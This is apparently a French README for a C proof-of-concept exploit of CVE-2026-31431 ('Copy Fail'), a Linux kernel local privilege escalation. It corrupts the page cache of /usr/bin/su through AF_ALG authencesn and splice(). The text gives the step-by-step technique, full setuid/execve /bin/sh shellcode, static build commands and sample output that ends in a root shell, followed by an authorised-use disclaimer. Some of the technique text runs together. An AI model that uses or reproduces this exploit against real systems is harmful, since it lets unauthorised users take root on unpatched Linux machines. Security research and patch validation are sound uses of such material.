
CVE-2026-31431 (Copy Fail) PoC - Corruption du cache de pages du noyau Linux via authencesn AF_ALG + splice()
Exploit d'élévation de privilèges locale pour CVE-2026-31431 (Copy Fail), écrit en C.
/usr/bin/su vers un décalage de fichier via les en-têtes de programme PT_LOADauthesn(hmac(sha256),cbc(aes)) avec une clé nullesendmsg() envoie l'AAD avec les octets du shellcode comme seqno_lo (octets 4-7), avec MSG_MOREsplice() délivre 32 octets des pages du cache de pages du fichier cible comme étiquette d'authentification AEADrecv() déclenche le déchiffrement, l'écriture temporaire de authencsn atterrit dans les pages chaînées du cache de pages, écrivant 4 octets contrôlés.execl("/usr/bin/su") charge le cache de pages corrompu. Le shellcode de 40 octets (setuid(0) + execve("/bin/sh")) s'exécute avec les droits setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; terminateur nul
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; nom de fichier
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Nécessite musl-gcc ou tout compilateur C avec prise en charge de la liaison statique :
musl-gcc -static -O2 -s -o copyfail exploit.c
Alternative avec GCC + glibc :
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] PoC CVE-2026-31431 (Copy Fail)
[*] Entrée de /usr/bin/su @ décalage de fichier 0x78
[*] Correction du cache de pages (40 octets, 10 écritures)
..........
[+] Exécution de /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
Cette preuve de concept est fournie uniquement à des fins de recherche en sécurité autorisée et à des fins éducatives. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.